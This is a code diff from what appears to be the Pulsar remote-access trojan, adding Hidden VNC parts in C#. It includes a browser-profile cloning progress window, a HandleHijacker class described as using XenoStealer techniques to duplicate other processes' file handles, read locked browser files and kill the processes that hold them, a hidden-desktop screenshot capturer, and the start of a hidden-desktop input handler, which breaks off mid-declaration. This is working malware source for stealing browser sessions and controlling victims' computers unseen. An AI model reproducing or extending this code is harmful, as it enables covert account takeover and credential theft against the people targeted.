this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.ClientSize = new System.Drawing.Size(300, 110);
this.Controls.Add(this.progressBar);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.lblDetail);
this.Controls.Add(this.lblTitle);
this.DoubleBuffered = true;
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.ForeColor = System.Drawing.Color.Gainsboro;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "CloneProgressForm";
this.Padding = new System.Windows.Forms.Padding(10);
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Profile cloning";
this.TopMost = true;
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CloneProgressForm_FormClosing);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,142 @@
using System;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal partial class CloneProgressForm : Form
{
private const int CloseDelayMilliseconds = 450;
private bool _isCompleting;
private bool _cancelRaised;
public CloneProgressForm()
{
InitializeComponent();
}
public event EventHandler UserRequestedCancel;
public void Initialize(string browserName)
{
lblTitle.Text = string.IsNullOrWhiteSpace(browserName)
? "Cloning browser profile..."
: $"Cloning {browserName} profile...";
lblDetail.Text = "Preparing...";
progressBar.Style = ProgressBarStyle.Marquee;
}
public void ShowPreparing()
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
}
public void UpdateProgress(BrowserCloneProgress progress)
{
if (IsDisposed)
{
return;
}
if (progress.IsIndeterminate || progress.TotalFiles <= 0)
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
return;
}
if (progressBar.Style != ProgressBarStyle.Continuous)
{
progressBar.Style = ProgressBarStyle.Continuous;
}
int maximum = Math.Max(1, progress.TotalFiles);
if (progressBar.Maximum != maximum)
{
progressBar.Maximum = maximum;
}
int value = Math.Min(progress.FilesCopied, progressBar.Maximum);
progressBar.Value = Math.Max(0, value);
string currentFile = progress.CurrentItem;
if (!string.IsNullOrEmpty(currentFile) && currentFile.Length > 50)
{
currentFile = "..." + currentFile.Substring(currentFile.Length - 50);
}
lblDetail.Text = string.IsNullOrEmpty(currentFile)
? $"Cloned {progress.FilesCopied} of {progress.TotalFiles} files"
: $"{progress.FilesCopied}/{progress.TotalFiles}: {currentFile}";
}
public void BeginCompleteAnimation(bool wasSuccessful, Action onClosed)
{
_isCompleting = true;
btnCancel.Enabled = false;
if (IsDisposed)
{
onClosed?.Invoke();
return;
}
progressBar.Style = ProgressBarStyle.Continuous;
progressBar.Maximum = 100;
progressBar.Value = 100;
lblDetail.Text = wasSuccessful ? "Profile cloned successfully" : "Profile clone failed";
var closeTimer = new Timer
{
Interval = CloseDelayMilliseconds
};
closeTimer.Tick += (sender, args) =>
{
closeTimer.Stop();
closeTimer.Dispose();
onClosed?.Invoke();
if (!IsDisposed)
{
Close();
}
};
closeTimer.Start();
}
private void btnCancel_Click(object sender, EventArgs e)
{
RaiseCancelRequested();
if (!IsDisposed)
{
Close();
}
}
private void CloneProgressForm_FormClosing(object sender, FormClosingEventArgs e)
{
if (_isCompleting)
{
return;
}
if (e.CloseReason == CloseReason.UserClosing || e.CloseReason == CloseReason.TaskManagerClosing)
{
RaiseCancelRequested();
}
}
private void RaiseCancelRequested()
{
if (_cancelRaised)
{
return;
}
_cancelRaised = true;
UserRequestedCancel?.Invoke(this, EventArgs.Empty);
}
}
}
@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+695
View File
@@ -0,0 +1,695 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Linq;
using System.Threading;
using Pulsar.Client.Recovery.Utilities.Xeno;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Advanced file reading using handle hijacking and memory mapping
/// Based on XenoStealer techniques - reads locked files without killing processes
/// </summary>
internal static class HandleHijacker
{
#region Native Structures
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
public IntPtr Object;
public IntPtr UniqueProcessId;
public IntPtr HandleValue;
public uint GrantedAccess;
public ushort CreatorBackTraceIndex;
public ushort ObjectTypeIndex;
public uint HandleAttributes;
public uint Reserved;
}
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_INFORMATION_EX
{
public IntPtr NumberOfHandles;
public IntPtr Reserved;
// Handles follow after this
}
private enum SYSTEM_INFORMATION_CLASS
{
SystemExtendedHandleInformation = 64
}
private enum FileType : uint
{
FILE_TYPE_UNKNOWN = 0x0000,
FILE_TYPE_DISK = 0x0001,
FILE_TYPE_CHAR = 0x0002,
FILE_TYPE_PIPE = 0x0003
}
[StructLayout(LayoutKind.Sequential)]
private struct RM_UNIQUE_PROCESS
{
public uint dwProcessId;
public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct RM_PROCESS_INFO
{
public RM_UNIQUE_PROCESS Process;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
public string strAppName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
public string strServiceShortName;
public uint ApplicationType;
public uint AppStatus;
public uint TSSessionId;
[MarshalAs(UnmanagedType.Bool)]
public bool bRestartable;
}
private enum RM_REBOOT_REASON
{
RmRebootReasonNone = 0x0,
RmRebootReasonPermissionDenied = 0x1,
RmRebootReasonSessionMismatch = 0x2,
RmRebootReasonCriticalProcess = 0x4,
RmRebootReasonCriticalService = 0x8,
RmRebootReasonDetectedSelf = 0x10
}
#endregion
#region Native Methods
[DllImport("ntdll.dll")]
private static extern uint NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
IntPtr SystemInformation,
uint SystemInformationLength,
out uint ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
uint dwDesiredAccess,
bool bInheritHandle,
uint dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern FileType GetFileType(IntPtr hFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern uint GetFinalPathNameByHandleW(
IntPtr hFile,
StringBuilder lpszFilePath,
uint cchFilePath,
uint dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern IntPtr CreateFileMappingA(
IntPtr hFile,
IntPtr lpFileMappingAttributes,
uint flProtect,
uint dwMaximumSizeHigh,
uint dwMaximumSizeLow,
string lpName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr MapViewOfFile(
IntPtr hFileMappingObject,
uint dwDesiredAccess,
uint dwFileOffsetHigh,
uint dwFileOffsetLow,
UIntPtr dwNumberOfBytesToMap);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey);
[DllImport("rstrtmgr.dll")]
private static extern int RmEndSession(uint pSessionHandle);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmRegisterResources(
uint pSessionHandle,
uint nFiles,
string[] rgsFilenames,
uint nApplications,
RM_UNIQUE_PROCESS[] rgApplications,
uint nServices,
string[] rgsServiceNames);
[DllImport("rstrtmgr.dll")]
private static extern int RmGetList(
uint dwSessionHandle,
out uint pnProcInfoNeeded,
ref uint pnProcInfo,
[In, Out] RM_PROCESS_INFO[] rgAffectedApps,
out RM_REBOOT_REASON lpdwRebootReasons);
#endregion
#region Constants
private const uint PROCESS_DUP_HANDLE = 0x0040;
private const uint DUPLICATE_SAME_ACCESS = 0x00000002;
private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
private const uint PAGE_READONLY = 0x02;
private const uint FILE_MAP_READ = 0x04;
private const uint FILE_NAME_NORMALIZED = 0x0;
private const uint ERROR_MORE_DATA = 0xEA;
#endregion
/// <summary>
/// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles
/// </summary>
private static void SafeCloseHandle(IntPtr handle)
{
if (handle == IntPtr.Zero || handle == new IntPtr(-1))
return;
try
{
CloseHandle(handle);
}
catch
{
// Some handles (like pseudo-handles) throw exceptions when closed
// This is expected and can be safely ignored
}
}
/// <summary>
/// Forces reading a file even if it's locked by another process
/// Uses handle hijacking and memory mapping
/// </summary>
public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false)
{
// First try normal read
try
{
return File.ReadAllBytes(filePath);
}
catch (Exception e)
{
// -2147024864 is the HRESULT for file being used by another process
if (e.HResult != -2147024864)
{
return null;
}
}
Debug.WriteLine($"[HandleHijacker] File locked: {filePath}");
Debug.WriteLine("[HandleHijacker] Attempting handle hijacking...");
bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses);
IntPtr pInfo = IntPtr.Zero;
try
{
uint dwSize = 0;
uint status;
int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
pInfo = Marshal.AllocHGlobal(handleStructSize);
do
{
status = NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation,
pInfo,
dwSize,
out dwSize);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize);
}
} while (status != 0);
IntPtr pInfoBackup = pInfo;
ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo);
pInfo += 2 * IntPtr.Size;
Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles...");
byte[] result = null;
for (ulong i = 0; i < numOfHandles; i++)
{
IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize);
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo =
Marshal.PtrToStructure<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handlePtr);
if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId))
{
continue;
}
// dupe handle
if (DuplicateHandleFromProcess(
(int)handleInfo.UniqueProcessId,
handleInfo.HandleValue,
out IntPtr duppedHandle))
{
try
{
if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK)
{
SafeCloseHandle(duppedHandle);
continue;
}
string handlePath = GetPathFromHandle(duppedHandle);
if (handlePath == null)
{
SafeCloseHandle(duppedHandle);
continue;
}
if (handlePath.StartsWith("\\\\?\\"))
{
handlePath = handlePath.Substring(4);
}
if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase))
{
Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}");
result = ReadFileBytesFromHandle(duppedHandle);
SafeCloseHandle(duppedHandle);
if (result != null)
{
Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes");
break;
}
}
SafeCloseHandle(duppedHandle);
}
catch
{
SafeCloseHandle(duppedHandle);
}
}
}
Marshal.FreeHGlobal(pInfoBackup);
if (result == null && killOwningProcessIfFailed && lockingProcesses != null)
{
Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes...");
foreach (var pid in lockingProcesses)
{
try
{
var proc = Process.GetProcessById(pid);
Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})");
proc.Kill();
}
catch { }
}
System.Threading.Thread.Sleep(100);
try
{
result = File.ReadAllBytes(filePath);
Debug.WriteLine("[HandleHijacker] Successfully read after killing processes");
}
catch { }
}
return result;
}
finally
{
if (pInfo != IntPtr.Zero)
{
try { Marshal.FreeHGlobal(pInfo); } catch { }
}
}
}
/// <summary>
/// Copies a locked file using handle hijacking
/// </summary>
public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false)
{
bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath);
if (hijacked && ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
byte[] fileData = ForceReadFile(sourcePath, killIfFailed);
if (fileData == null)
{
return false;
}
try
{
File.WriteAllBytes(destinationPath, fileData);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}");
return false;
}
if (!ValidateFileCopy(sourcePath, destinationPath))
{
Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'.");
try
{
if (File.Exists(destinationPath))
{
File.Delete(destinationPath);
}
}
catch { }
return false;
}
return true;
}
private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle)
{
targetHandle = IntPtr.Zero;
IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId);
if (procHandle == IntPtr.Zero)
{
return false;
}
IntPtr newHandle = IntPtr.Zero;
bool success = DuplicateHandle(
procHandle,
sourceHandle,
GetCurrentProcess(),
ref newHandle,
0,
false,
DUPLICATE_SAME_ACCESS);
CloseHandle(procHandle);
if (success && newHandle != IntPtr.Zero)
{
targetHandle = newHandle;
return true;
}
return false;
}
private static string GetPathFromHandle(IntPtr fileHandle)
{
StringBuilder fileNameBuilder = new StringBuilder(32767 + 2);
uint pathLen = GetFinalPathNameByHandleW(
fileHandle,
fileNameBuilder,
(uint)fileNameBuilder.Capacity,
FILE_NAME_NORMALIZED);
if (pathLen == 0)
{
return null;
}
return fileNameBuilder.ToString(0, (int)pathLen);
}
private static byte[] ReadFileBytesFromHandle(IntPtr handle)
{
IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
if (fileMapping == IntPtr.Zero)
{
return null;
}
try
{
if (!GetFileSizeEx(handle, out ulong fileSize))
{
return null;
}
if (fileSize == 0)
{
return new byte[0];
}
IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize);
if (baseAddress == IntPtr.Zero)
{
return null;
}
try
{
byte[] fileData = new byte[fileSize];
Marshal.Copy(baseAddress, fileData, 0, (int)fileSize);
return fileData;
}
finally
{
UnmapViewOfFile(baseAddress);
}
}
finally
{
CloseHandle(fileMapping);
}
}
private static bool GetProcessesLockingFile(string filePath, out int[] processes)
{
processes = null;
string sessionKey = Guid.NewGuid().ToString();
if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0)
{
return false;
}
try
{
string[] resources = new string[] { filePath };
if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0)
{
return false;
}
uint nProcInfo = 0;
int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _);
if (status != ERROR_MORE_DATA)
{
processes = new int[0];
return true;
}
RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded];
nProcInfo = nProcInfoNeeded;
status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _);
if (status == 0)
{
processes = new int[affectedApps.Length];
for (int i = 0; i < affectedApps.Length; i++)
{
processes[i] = (int)affectedApps[i].Process.dwProcessId;
}
return true;
}
return false;
}
finally
{
RmEndSession(sessionHandle);
}
}
/// <summary>
/// Copies an entire directory using handle hijacking for locked files
/// </summary>
public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress<BrowserCloneProgress> progress = null, CancellationToken cancellationToken = default)
{
try
{
if (!Directory.Exists(sourceDir))
{
return false;
}
Directory.CreateDirectory(destDir);
var directories = new List<string>();
foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
directories.Add(directory);
}
foreach (string directory in directories)
{
cancellationToken.ThrowIfCancellationRequested();
string relativeDir = directory.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string targetDir = string.IsNullOrEmpty(relativeDir)
? destDir
: Path.Combine(destDir, relativeDir);
Directory.CreateDirectory(targetDir);
}
var files = new List<string>();
foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
files.Add(file);
}
int totalFiles = files.Count;
int processed = 0;
bool allFilesCopied = true;
progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0));
foreach (string file in files)
{
cancellationToken.ThrowIfCancellationRequested();
string relativePath = file.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string destFile = Path.Combine(destDir, relativePath);
string destFileDirectory = Path.GetDirectoryName(destFile);
if (!string.IsNullOrEmpty(destFileDirectory))
{
Directory.CreateDirectory(destFileDirectory);
}
bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed);
if (!copied)
{
Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'.");
allFilesCopied = false;
}
processed++;
progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath));
}
progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty));
return allFilesCopied;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}");
return false;
}
}
private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed)
{
try
{
File.Copy(sourcePath, destinationPath, true);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}");
}
if (ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed))
{
return false;
}
return ValidateFileCopy(sourcePath, destinationPath);
}
private static bool ValidateFileCopy(string sourcePath, string destinationPath)
{
try
{
if (!File.Exists(sourcePath) || !File.Exists(destinationPath))
{
return false;
}
var sourceInfo = new FileInfo(sourcePath);
var destInfo = new FileInfo(destinationPath);
if (sourceInfo.Length != destInfo.Length)
{
return false;
}
MirrorFileMetadata(sourceInfo, destInfo);
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}");
return false;
}
}
private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo)
{
try
{
File.SetAttributes(destInfo.FullName, sourceInfo.Attributes);
}
catch { }
try
{
File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc);
File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc);
File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc);
}
catch { }
}
}
}
+268
View File
@@ -0,0 +1,268 @@
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal class ImageHandler
{
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
[DllImport("user32.dll")]
private static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
public ImageHandler(string DesktopName)
{
IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U);
if (intPtr == IntPtr.Zero)
{
intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero);
}
this.Desktop = intPtr;
}
private static float GetScalingFactor()
{
float result;
using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero))
{
IntPtr hdc = graphics.GetHdc();
int deviceCaps = GetDeviceCaps(hdc, 10);
result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps;
graphics.ReleaseHdc(hdc);
}
return result;
}
private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
bool result = false;
RECT rect;
GetWindowRect(hWnd, out rect);
// Only draw if window is within the capture area
if (rect.Right < captureArea.Left || rect.Left > captureArea.Right ||
rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(DC);
IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor));
SelectObject(intPtr, intPtr2);
uint nFlags = 2U;
if (PrintWindow(hWnd, intPtr, nFlags))
{
try
{
Bitmap bitmap = Image.FromHbitmap(intPtr2);
// Adjust draw position relative to capture area
ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top));
bitmap.Dispose();
result = true;
}
catch
{
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
return result;
}
private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
IntPtr intPtr = GetTopWindow(owner);
if (intPtr == IntPtr.Zero)
{
return;
}
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST);
if (intPtr == IntPtr.Zero)
{
return;
}
while (intPtr != IntPtr.Zero)
{
this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea);
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV);
}
}
private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
if (IsWindowVisible(hWnd))
{
this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
if (Environment.OSVersion.Version.Major < 6)
{
this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
}
}
}
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
/// <summary>
/// Gets the total number of monitors available.
/// </summary>
/// <returns>The number of monitors.</returns>
public static int GetMonitorCount()
{
return Screen.AllScreens.Length;
}
/// <summary>
/// Captures the screenshot of the entire desktop (all monitors).
/// </summary>
public Bitmap Screenshot()
{
return Screenshot(-1); // -1 means capture all monitors
}
/// <summary>
/// Captures the screenshot of a specific monitor.
/// </summary>
/// <param name="monitorIndex">The index of the monitor to capture. Use -1 to capture all monitors.</param>
public Bitmap Screenshot(int monitorIndex)
{
SetThreadDesktop(this.Desktop);
IntPtr dc = GetDC(IntPtr.Zero);
Rectangle captureArea;
if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length)
{
// Capture specific monitor
captureArea = Screen.AllScreens[monitorIndex].Bounds;
}
else
{
// Capture all monitors (entire desktop)
RECT rect;
GetWindowRect(GetDesktopWindow(), out rect);
captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top);
}
float scalingFactor = GetScalingFactor();
int scaledWidth = (int)((float)captureArea.Width * scalingFactor);
int scaledHeight = (int)((float)captureArea.Height * scalingFactor);
Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight);
try
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea);
}
}
finally
{
ReleaseDC(IntPtr.Zero, dc);
}
return bitmap;
}
public IntPtr Desktop = IntPtr.Zero;
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private enum GetWindowType : uint
{
GW_HWNDFIRST,
GW_HWNDLAST,
GW_HWNDNEXT,
GW_HWNDPREV,
GW_OWNER,
GW_CHILD,
GW_ENABLEDPOPUP
}
private enum DeviceCap
{
VERTRES = 10,
DESKTOPVERTRES = 117
}
}
}
+749
View File
@@ -0,0 +1,749 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Handles input for the Hidden Virtual Network Computing (HVNC) feature.
/// </summary>
public class InputHandler : IDisposable
{
#region Win32 API Imports
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
private static extern IntPtr WindowFromPoint(POINT point);
[DllImport("user32.dll")]
private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
[DllImport("user32.dll")]
private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
private static extern bool PtInRect(ref RECT lprc, POINT pt);
[DllImport("user32.dll")]
private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
[DllImport("user32.dll")]
private static extern int GetWindowLong(IntPtr hWnd, int nIndex);
[DllImport("user32.dll")]
private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
[DllImport("user32.dll")]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
[DllImport("user32.dll")]
private static extern int GetMenuItemID(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
